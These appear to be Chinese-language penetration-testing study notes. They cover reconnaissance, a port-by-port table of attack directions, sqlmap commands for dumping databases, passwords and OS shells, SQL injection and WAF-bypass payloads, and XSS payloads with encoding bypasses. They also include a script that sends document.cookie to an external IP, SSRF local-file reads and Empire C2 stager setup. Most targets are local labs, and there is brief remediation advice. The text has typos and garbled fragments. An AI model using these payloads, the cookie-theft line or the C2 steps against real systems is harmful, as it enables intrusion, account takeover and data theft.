在进行目标渗透测试之前,最重要的一步就是收集信息,在这阶段要尽可能的收集目标的信息对目标了解的越多,之后进行的测试就越容易。 一般的信息收集方法 一. Whois查询 1.1whois3.标准互联网协议whois在查询过程中,可以找到很多与域名相关的信息,如域名注册时间、域名所有者、一般小型网站域名所有者都是网站管理员。 常用的查询网站有爱站(https://whois.aizhan.com)站长之家(http://whois.chinaz.com)和Virus Total(https://www.virustotal.com) 2. 通过搜索引擎收集敏感信息 2.1 Google它是世界上最强大的搜索引擎之一——它可能是一个绝对的黑客工具,我们可以通过构建特殊的关键字语法来搜索互联网上的敏感信息。如inurl:bbs 冰墩墩,冰墩墩 inurl:bbs根据文件类型搜索关键词 空格 filetype : 文件类型如:专升本 filetype:DOC(搜索专插本的相关文件),专升本 filetype:pdf,info招生录取 www.zzcsjr.edu.cn 3. 收集子域名信息 3.1子域名,即二级域名,是指顶级域名下的域名。一般来说,它的主要领域是关键的保护区,所以最好先进入目标的子域,然后找到一种方法来接近真正的目标,这无疑是一个更好的选择。收集域名信息有以下常用方法 用于子域名检测的子域名检测工具主要包括Layer子域名挖掘机,K8、wydomain、subDomainsBrute、MaltegoCE等 2搜索引擎枚举,直接搜索子域名 3 第三方聚合应用枚举很多第三方服务汇聚了大量DNS数据集可以通过它们检索给定域名的子域名。只需在其搜索栏中输入域名即可检索相关域名信息 4. 收集常用的端口信息 4.1在渗透测试过程中,收集端口信息是一个非常重要的过程。通过扫描服务器开放的端口,判断服务器上存在的服务,可以对症下药,方便我们渗透目标服务器。我们需要关注常用的默认端口和在端口上运行的服务。最常见的扫描工具是Nmap,x-scan 2.常用的各种端口 Web应用服务端口 端口号:80/443/8080 端口说明:常见Web服务端口 攻击方向:Web 服务器版本的攻击、爆破和漏洞 7001/7002端口说明: WebLogic 控制台 攻击方向: Java反序列化,弱密码 端口号:8080/8089端口说明: Jboss/Resin/Jetty/Jenkins攻击方向:反序列化,控制台弱密码 端口号:9090 端口说明:WebSphere 控制 攻击方向:Java反序列化,弱密码 端口号:4848 端口说明:GlassFish 控制台 攻击方向:弱密码 端口号:1352 端口说明:Lotus domino邮件服务 攻击方向:弱密码、信息泄露、爆破 端口号:10000 端口说明:Webmin-Web 控制面板 攻击方向:弱密码 数据库服务端口 端口号 端口号 3306 端口说明MySQL 攻击方向 注入、提权、爆破 端口号 1433 端口说明MSSQL 数据库 注入攻击方向,提高权SA弱口令,爆破 端口号 1521 端口说明Oracle 数据库 攻击方向 TNS 爆破、注入、反弹 Shell 端口号 5432 端口说明PostgreSQL数据库 攻击方向 爆破、注入、弱密码 端口号 27017/27018 端口说明 MongoDB 攻击方向 爆破,未经授权的访问 端口号 6379 端口说明Redis数据库攻击方向 可以尝试未经授权的访问,弱口令爆破 端口号 5000 端口说明SysBase/DB2数据库 攻击方向 爆破、注入 共享服务端口的文件 端口号 21/22/69 端口说明 Ftp/Tftp文件传输协议 允许匿名上传、下载、爆破和嗅探操作 端口号 2049 端口说明 Ns服务 攻击方向 端口说明配置不当 端口号 139 端口说明 Samba服务 攻击方向 爆破、未经授权访问、远程代码执行 端口号 389 端口说明 Ldap目录访问协议 攻击方向 注入,允许匿名访问,弱密码 远程连接服务端口 端口号 22端口说明 SSH远程连接 攻击方向 爆破、SSH 隧道及内网代理转发、文件传输 端口号 23 端口说明 Telnet远程连接 攻击方向 爆破、嗅探、弱密码 端口号 3389 端口说明 Rdp远程桌面连接攻击方向 Shift后门(需要Windows Server 2003以下系统),爆破 端口号 5900 端口说明 VNC 攻击方向 弱口令爆破 端口号 5632 端口说明 PyAnywhere服务 攻击方向 执行密码和代码 邮件服务端口 端口号 25 端口说明 SMTP 攻击方向 邮件服务 邮件伪造 端口号 110 端口说明 POP3协议 攻击方向 爆破、嗅探 端口号 143 端口说明 IMAP协议 攻击方向 爆破 网络常见协议端口 端口号 53 端口说明 DNS域名系统 攻击方向 允许区域传输,DNS劫持、缓存投毒、欺骗 端口号 67/68 端口说明 DHCP服务 攻击方向 劫持、欺骗 端口号 161 端口说明 SNMP协议 攻击方向 爆破,收集目标内网信息 特殊服务端口 端口号 2181 端口说明 Zookeeper服务 攻击方向 未授权访问 端口号 8069 端口说明 Zabbix服务 攻击方向 远程执行、SQL注入 端口号 9200/9300 端口说明 Elasticsearch 服务 攻击方向 远程执行 端口号 11211 端口说明 Memcache服务 攻击方向 未授权访问 端口号 512/513/514 端口说明 Linux Rexec服务 攻击方向 爆破、Rlogin 登录 端口号 873 端口说明 Rsync 服务 攻击方向 匿名访问,上传文件 端口号 3690 端口说明 Svn服务 攻击方向 Svn 泄露、未授权访问 端口号 50000 端口说明 SAP Management Console 远程执行攻击方向 5.指纹识别 由于其终身不变性、独特性和方便性,指纹几乎已成为生物特征识别的代名词。通常我们所说的指纹是人手指末端正面皮肤上不均匀的线条,线条定期排列形成不同的线条。本节的指纹是指网站CMS指纹识别、计算机操作系统及Web容器指纹识别等。应用程序通常是html、js、css文件中或多或少会包含一些特征码,例如WordPress在robots.txt中会包含wp-admin、首页indexphp中会包含generator-wordpress 3.xx,这就是这个特征CMS指纹,当遇到其他网站时,能快速识别出该CMS,所以叫指纹识别。在渗透测试中,有必要识别目标服务器的指纹,因为只有识别相应的指纹Web容器或者CM在进行相应的渗透操作之前,语能可以找到相关的漏洞。 CMS(Conkent ManagementSystem)又称全站系统或文章系统。在2004年之前,如果你想管理网站的内容,基本上是手工维护的,但在信息爆炸的时代,完全手工完成相当痛苦的。于是出现了CMS,只要开发人员给客户一个软件包,客户自己安装配置,就可以定期更新数据来维护网站,节省大量的人力物力。 常见的CMS有Dedecms(织梦)、Discuz、PHPWEB.PHPWind、PHPCMS.ECShop、 Dvbbs、SiteWeaver、ASPCMS、帝国、Z-Blog·(WordPrest等。代表工具有御剑Web指纹识别、WhatWeb、WebRobo、椰树、轻量WEB指纹识。除了这些工具,读者还可以使用一些在线网站查询CMS如下所示,指纹识别。云悉指纹:http://www.yunsee.cn/finger.html。 BugScaner:http://whatweb.bugscaner.com/look/和WhatWeb:https://whatweb.net/。 6.查找真实IP allow:/ disallow luccenter 在渗透测试过程中,目标服务器可能只有一个域名,那么如何确定目标服务器的真实性呢?IP对渗透性测试非常重要。如果目标服务器不存在CDN,可直接通过wwwip138.com一些获得目标的人IP以及域名信息。这里主要讲解如何绕过以下情况。CDN 7.社会工程学 社会工程在渗透测试中起着重要的作用。利用社会工程,攻击者可以从员工那里挖掘出应该是秘密的信息。 8.判断目标是否使用CDN 通常会通过ping目标主域,观察域名的分析,断是否使用CDN。 也可以使用在线网站177CE(https://www.17ce.com)进行全国多地区的ping服务器操作,然后对比每个地区ping出的IP结果,查看这些IP是否一致,如果都一样,很有可能不存在CDN。如果IP大部分都不一样或者规律性强,可以试着查询。IP归属地,判断是否存在CDN。 9.目标服务器存在CDN CDN即内容分发网络,主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题。简单来说,就是一组高速缓存服务器在不同运营商之间的对接节点上,使用户经常访问静态数据资源(如静态)html、css、js图片和其他文件)直接缓存到节点服务器上。当用户再次要求时,它将直接分发给接近用户的节点服务器,以响应用户。当用户有实际的数据交互时,它将远程从Web服务器上的响应,这样可以大大提高网站的响应速度和用户体验。因此,如果购买渗透目标,CDN可直接服务ping目标域名,但不是直接目标Web服务器只是离我们最近的目标节点CDN服务器导致我们无法直接获得真正的目标IP段范围。
sqlmap支持五种不同的注入模式:
UNION query SQL injection(可联合查询注入) uError-based SQL injection(注入报错型) uBoolean-based blind SQL injection(布尔型注入) uTime-based blind SQL injection(基于时间延迟注入) uStacked queries SQL injection(可注入多语句查询)
2.sqlmap 常用命令参数
-u /--url 最基本格式 sqlmap -u XXXXXXXXXXXXX/index.pho?id=1”
-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt
-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
3.设置回显等级
参数: -v默认为1
0 只显示python错误以及严重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload
(级别越高显示信息越多)
4同时显示HTTP请求。
5同时显示HTTP响应头。
6同事显示HTTP响应页面。
--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。
--cookie (用于区分用户)
可能会有漏洞,当web登录时,抓取数据包。
4.设置HTTP数据包相关参数
HTTP User-Agent 头
参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
5.设定探测等级:--level
共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 列数据库管理用户
--current-user 在数据库中,目前连接的用户
--is-dba 判断当前是否为管理,是的话返回true
--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080
--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限
6.Sqlmap“六步”
第一步:判断是否注是注入点
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”
检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象
第二步:获取数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db
四:列出指定数据库的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables
五:读取指定表中的字段名称
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms
六:读取指定字段内容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)
判断当前数据库用户权限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba
如果是TRUE ,那么权限该用户很大。
-roles 列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
-referer HTTPReferer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net
-sql-shell 运行自定义的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
运行任意操作系统命令:
选择后台语言
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
--os-cmd=whoami
--os-shell
(以你的电脑为跳板,对局域网进行渗透,或留后门)
--file-read 从数据库服务器中读取文件 :当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
上传文件到数据库服务器中:
--file-write
--file-dest
读取指定数据库用户的密码
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
SQLMAP进阶 常用tamper脚本
apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
multiplespaces.py 围绕sql关键字添加多个空格 去绕过
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar
3. Burp Suite工具
一.配置及代理设置
1.使用前配置
①选择代理Proxy选项卡
②选择设置option选项卡
③Edit Running打勾 124.0.0.1:8080
配置成功
历史访问
二.功能模块讲解
模块介绍
send to spider 发送给爬虫模块
do a active scan 进行一次主动扫描
send to intruder 发送给爆破模块
send to repearter 发送给重放模块
send to comparer 发送给比对模块
send to decoder 发送给解码模块
request in browser 将请求在浏览器重放
四:MYSQL与SQL注入
mysql知识点- 基本查询语句
查询表中全部信息: select *from 表明-关键的函数 select+以下语句
version() 数据库版本
database() 数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
-order by(排序) 语法
-联合查询
order by 1—
order by 2—确定字段数
使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据
注意: 相同的列结构
需要有知道表结构,列结构
exists()函数猜解表明
information_schema 是一个mysql系统自带的元数据库
information_schema.SCHEMATA 查看所有的数据库
五、 XSS基础
1、什么是XSS?
中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。
2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。
攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)
3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号
2.窃取用户cookies资料,从而获取用户信息。
3.获取客户端信息,IP/端口等
4.劫持用户浏览器会话,从而执行任意操作
5.强制弹出窗口。
6.网页挂马,进行恶意操作
7.进行大量的客户端攻击 如DDoS攻击
8.控制受害者机器向其他客户端攻击
4、XSS分类
①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。
(特点:
① 主要用于将恶意脚本附加到URL地址的参数中
② 只在用户单击url时触发,而且只执行一次,非持久化
③常用来窃取客户端 Cookies
或进行钓鱼欺骗.
④常常为通过引诱用户点击一
个恶意链接来实施攻击的)
name为可控参数
我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。
当我们构造好了如下恶意代码,发送给受害者。
<script>alert(document.cookie)</script>
将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户。
②存储型 :渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。
(特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性
② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.
③ 一般出现在网站的留言、评论、日志等交互处,)
页面原理:
POST提交数据,生成、读取文本模拟数据库,
提交数据之后页面会将数据写入sql.txt,
再打开页面时会读取sql.txt中内容并显示在网页上,
实现了存储型xss攻击模拟。
当输入恶意代码,即会执行<script>alert('xss')</script>
并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码
利用XSS弹出恶意警告框 <script>alert('hacked by cl4y')</script>
网页不停刷新 <meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >
获得cookie <script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>
劫持流量(跳转到你的博客强行吸粉) <script>window.location.href="http://www.cl4y.top";</script>
③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。
xss平台
1.获取COOKIE(这是必须的最基本的功能)
2.获取源码(取当前网页的源码)
3.截图(可自己修改为连续截图)
4.……………
https://xss.pt
https://xssaq.com
XSS利用——无任何过滤 <scirpt> <scirpt>alert(1);</script> <img> <img src=1 οnerrοr=alert("xss");> //onerror等事件,可以调用js <input> <input οnfοcus="alert('xss');" autofocus> <svg> <svg οnlοad=alert("xss");> <iframe> <iframe οnlοad=alert("xss");></iframe> <iframe src=javascript:alert('xss');></iframe> //src中支持伪协议 <textarea> <textarea οnfοcus=alert("xss"); autofocus> 往往用户可控的参数都进行了过滤,不会让你用一个<script>标签就轻易攻击成功 <script>shellcode</script>
XXS绕过:
关键字绕过 空格绕过 用/代替空格 <img/src="x"/οnerrοr=alert("xss");> 关键字绕过 大小写绕过 <ImG sRc=x onerRor=alert("xss");> 利用其他标签 双写关键字 <imimgg srsrcc=x οnerrοr=alert("xss");> 字符拼接 <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"](`xss`);</script> 利用函数进行编码绕过 Unicode绕过 <img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函数进行编码绕过 ASCII码 <img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> Hex绕过 <img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> Base64编码 <img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> 过滤括号 当括号被过滤的时候可以使用throw来绕过 <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //异常处理 反引号 <img src=x οnerrοr=alert`1`> 过滤双引号,单引号 反引号 <img src=1 οnerrοr=alert`1`;> js事件 当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作 <img src=1 οnerrοr=alert`1`;>
混淆: 利用html标签格式的不严格、容错性。 关键字中加空格 加TAB 回车 url编码 <img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
六.Cref漏洞
1,漏洞介绍: 一种对网站的恶意使用。与 xss相比不大流行(因此对其防范相当稀少,比xss更加具有危险性。
原理:利用目标用户身份,以目标用户名义执行非法操作(以目标用户名义发邮件,消息,盗取目标账号,购买商品,虚拟货币转账等),会泄露目标用户的财产安全。
Ps:(CSRF漏洞经常用来制作蠕虫攻击,刷SEO流量)
靶场实战:漏洞分析:
:
Ssrf漏洞:是一种由攻击者构造请求,由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器,一个是由客户端发起的。
在域名后增加url=语句,从而利用ssrf漏洞篡改脚本访问的地址。
攻击方式如下:
A,对外网,服务器所在的内网,本地进行端口扫描,获取的banner信息。
B,攻击运行在内网或本地的应用程序。
C,对内网web应用进行指纹识别,识别企业内部的资产信息。
D.攻击内外网的web应用,主要是用HTTP请求就可以实现的攻击(比如struts2,sqli
等等)
E,利用file协议读取本地文件。
SSRF漏洞利用:
测试地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php
页面ssrf.php实现的功能获取GET参数URL,然后将url的内容返回网页上。
如果将请求的网址篡改为http://www.baidu.com,则会显示http://www.baidu.com的网页内容,但是,当设置参数URL为内网地址时,则会泄露内网信息。
访问ssrf.php?Url=file://C:/wwindows/win.ini即可读取本地文件。
Ssrf漏洞修复建议:
,限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求。 限制不能访问的内网ip,以防止对内网进行攻击。 屏蔽返回的详细信息。 七,Empire
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
Empire运行在linux平台上
官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境
https://github.com/EmpireProject/Empire
KALI示例:
git clone https://github.com/EmpireProject/Empire.git
然后安装Empire的依赖,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh
在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd ..
./empire
若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
启动时如果遇到如下报错
可以将urllib3版本降级
pip install urllib3==1.22
重新设定
bash reset.sh
基本使用会涉及如下内容:
1.帮助文档
2.设置监听
3.生成木马
4.连接主机和基本使用
5.信息收集
6.权限提升
帮助文档
运行Empire后,输入help命令查看具体的使用帮助。
设置监听步骤如下:
listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听
输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块
输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。
设置监听
这里采用http监听模式,输入uselistener http。
然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。
通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的
通过back返回上一级,使用listeners或者list可以查看所设置的监听器
生成木马
输入usestager后 空格加TAB键 查看可以设置的木马模式
木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。
我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似
要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数
通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,
文件会生成到 tmp 目录下,如下所示在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话
第四章
4.2 SQL注入进阶 4.2.1 时间注入攻击 时间注入攻击的测试地址:
http://127.0.0.1/sql/time/time.php?id-1.
访问该网址时,页面返回yes,在网址的后面加上一个单引号,再次访问,页面返回no。这个结果与Boolean注入非常相似,时间盲注,它与Boolean注入的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则IFO的返回值为expr2:否则返回值则为expr3。所以判断数据库库名长度的语句应为:
if (length(database())>1,sleep(5),1)
4.2.2 堆叠查询注入攻击 堆叠查询注入攻击的测试地址:http://127.0.0.1/dd.php?id=1.
堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id-1‘,页面返回 MySQL错误,再访问id-1%23,页面返回正常结果。这里可以使用Boolean注入、时间注入,也可以使用另外一种注入方式--堆叠注入。
堆叠注入的语句为:
select if(substr(user(),1,1)='r',sleep(3),1)%23
从堆叠注入语句中可以看到,第二条SQL语句(select if(substr(user0.1,1) ,deepO3).19%23)就是时间盲注的语句。
获取数据库表名:
';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
4.2.3 二次注入攻击 二次注入攻击的测试地址:
http://127.0.0.1/er/1.php?username=test 和 http://127.0.0.1/er/2.php?id=10。
其中,1php页面的功能是注册用户名,也是插入SQL语句的地方;
2.php页面的功能是通过参数ID读取用户名和用户信息。
第一步,访问1.php?uscrmame=test.
从页面返回结果可以看到用户名test‘对应的ID为21,访问2.php?id=21。
从返回结果可以看到服务端返回了MySQL的错误(多了一个单引号引起的语法错误),这时回到第一步,先访问1php?usemame=test'order by1%23,获取一个新的 id=32,当再次访问2.php?id-32时,页面返回空白;再次尝试,访问1.php?username=test‘order by 10%23,获取一个新的id-33,当再访问2php?id=33时,页面返回错误信息(Unknown column '10"in 'order clause'),这说明空白页而就是正常返回,通过不断尝试,判断字段数,访问1.php?username=test' union select 1,2,3%23,获取一个新id=39,再访问2.php?id=39,发现页面返回了 union select中的2和3字段。在2、2字段中间,插入语句就可获得数据库中的数据。
4.2.4 宽字节注入攻击 宽字节注入攻bbbbbbbbbbbbb试地址:http://127.0.0.1/kzj.php?id=1.
尝试在页面2的位置查询当前数据库的库名(database()),语句为:
1d=-1%df’ union select 1,user(),3,%23
查询数据库的表名时,用以下语句:
select table_name from information_schema.tables where table_schema='sq1’ limit 0,1
但此时,由于单引号被转义,会自动多出反斜杠,导致SQL语句出错,所以此处需要利用另一种方法:嵌套查询,就是在一个查询语句中,再添加一个查询语句,下列就是更改后的查询数据库表名的语句:
select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1
可以看到,原本的table_schema-'sql"变成了table_schema=(select databasc()),因为 select database()的结果就是'sql’,这就是嵌套查询。
如果想查询后面的表名,还需修改limit后的数字,可用以下语句尝试查询emails表里的字段:
select column_name from information_schema.columns where table_schema=(select database()) and table_name=( select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1) limit 0,1
这里使用了三层嵌套,第一层是table_schema,它代表库名的嵌套,第二层和第三层是table_name的嵌套。我们可以看到语句中有两个limit,前一个limit控制表名的顺序,后一个则控制字段名的顺序。如这里查询的不是emails表,而是users表,则需要更改limit的值。后面的操作如Union注入所示。
4.2.5 cookie注入攻击 Cookie注入攻击测试地址:http://127.0.0.1/cookie.php.
发现URL中没有GET参数,但是页面返回正常,使用Burp Suite抓取数据包,现cookie中存在id=1的参数。修改cookie中的id=1为id=l',然后再次访问该URL,发现页面返回错误。接下来,分别修改cookie中id=1为id=l and 1=1和id =l and 1=2,再次访问,判断该页面是否存在SQL注入漏洞,返回结果如图4-57和图4-58所示,得出cookie中的参数ID存在SQL注入的结论。接着使用order by查询字段,使用Union注入方法完成此次注入。
4.2.6 base64注入攻击 测试地址:http://127.0.0.1/sql/base64/base64.php?id=MQ %3d %3d.
从URL中可以看出,ID参数经过base64编码(%3d是=的URL编码格式),解码后发现ID为1,尝试加上一个单引号并一起转成base64编码。
当访问id=1'编码后的网址时(http://127.0.0.1/sql/base64/base64.php?id=MSc%3d),页面返回错误。1and 1=1和1 and 1=2的base64编码分别为MSBhbmQgMT0x和MSBhbm QgMTOy,再次访问id=MSBhbmQgMT0x和id=MSBhbmQgMTOy。从返回结果可知,访问id=1 and id 1=1时,页面返回与id=1相同的结果,而访问id=1 and 1=2时,页面返回与id=1不同的结果,所以该网页存在SQL漏洞。
接着,使用order by查询字段,使用Union方法完成此次注入。
4.2.7 XFF注入攻击 xFF注入攻击的测试地址:http://127.0.0.1/sql/xff.php.
通过Burp Suite抓取数据包容,可以看到HTTP请求头中有一个头部参数 X-Forwarded-for。X-Forwarded-For简称XFF头,它代表客户端真实的IP,通过修 X-Forwarded-for的值可以伪造客户端IP、将X-Forwarded-for设置为127.0.0.1、然后请问该URL、页面返回正常,将X-Forwarded-for设置为127.0.0.1、再次访问该URL,页面返回MySQL的报销信息,将X-Forwarded-for分别设置为127.0.0.1‘and 1=1#和127.0.0.1‘and 1=2#,再次访问该URL。通过页面的返回结果,可以判断出该地址存在SQL注入漏洞,可用order by判断表中的字段数量,尝试使用Union查询注入方法,语法为:X-Forwarded-for:127.0.0.1’ union select 1,2,3,4#。接着使用Union注入方法完成此次注入。
4.3 SQL注入绕过技术 4.3.1 大小写绕过注入 大小写绕过注入的测试地址:http://127.0.0.1/sql/1.php?id=1.
访问id-1发现页面报出MySQL错误,当访问id=1 and 1=1时,页面返回”no hack”,显然是被拦截了,说明有关键词被过滤。使用关键字大小写的方式尝试绕过,使用order by查询字段数量,发现还是被拦截了,还是利用修改关键字大小写来绕过它,尝试只改order这个单词,结果发现当order改成Order后,页面显示正常,说明by并没有被拦截,最终通过尝试,发现数据库表中存在3个字段。接着,使用Union方法完成此次注入,若仍遇到关键字被拦截,可尝试修改大小写的方式绕过拦截。
4.3.2 双写绕过注入 双写绕过注入的测试地址:http://127.0.0.1/sql/2.php?id=1。
访问id=1’,发现页面报出MySQL错误,接着访问id=1 and 1=1,页面依然报出 MySQL的错误,但是从错误信息中可以看出,输入的and 1=1变成了1=1,因此可以得知,关键字and被过滤了。这时尝试使用双写的方式绕过,如anandd 1=1,当and被过滤后,anandd变成了and,所以这时传入数据库的语句是and 1=1,之后结果成功执行并返回正常页面。接着,输入aandnd1=2,返回错误信息,判断页面参数存在SOL注入漏洞。当访问id=1 order by 3时,MySQL的错误信息为“der by3”,所以这里并没有过滤order整个单词,而是仅过滤or,因此只需要双写or即可。
4.3.3编码绕过注入 编码绕过注入的测试地址:http://127.0.0.1/sql/3.php?id=1.
访问id=1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id-1 and 1=2时,发现关键字and被拦截。尝试使用URL全编码的方式绕过拦截。由于服务器会自动对 URL进行一次URL解码,所以需要把关键词编码两次,注意,URI编码需选择全编码,关键字and进行两次URI全编码的结果是%25%36%31%25%36%65%25%36%34,访问 id-1%25%36%31%25%36%65%25%36%34 1=1时,页面返回与id=1相同的结果,访问 id-1 %25%36%31%25%36%65%25%36%34 1=2时,页面返回与id=1不同的结果,所以该网址存在SQL注入漏洞。后面的注入过程与Union注入的一致,判断过滤的关键词,并经过两次URL全编码即可。
4.3.4内联注释绕过注入 内联注释绕过注入的测试地址:http://127.0.0.1/sql/4.php?id=1。
访问id-1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id=1 and 1=2时,发现页面提示“no hack”,即关键字被拦截。尝试使用内联注释绕过。访问id=1/*!and*/1=1时,页面返回与id=1相同的结果;访问id=1/*!and*/1=2时,页面返回与id-1不同的结果,后面的注入过程与Union注入的一致。
4.3.5 SQL注入修复建议 常用的SQL注入漏洞的修复方法有两种
1.过滤危险字符
多数CMS都采用过滤危险字符的方式,如果匹配到,则退出程序。使用过滤的方式,在一定程度上可以防止SQL注入漏洞,但仍然存在被绕过的可能。
2.使用预编译语句
使用PDO预编译语句,需注意,不要将变量直接拼接到PDO语句中,而要使用占位符进行数据库的增加、删除、修改、查询。
4.4 XSS基础 4.4.1 XSS漏洞介绍 跨站脚本(简称XSS)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。
XSS攻击可分为三种:反射型、存储型和DOM型。
4.4.2 XSS漏洞原理 1、反射型XSS
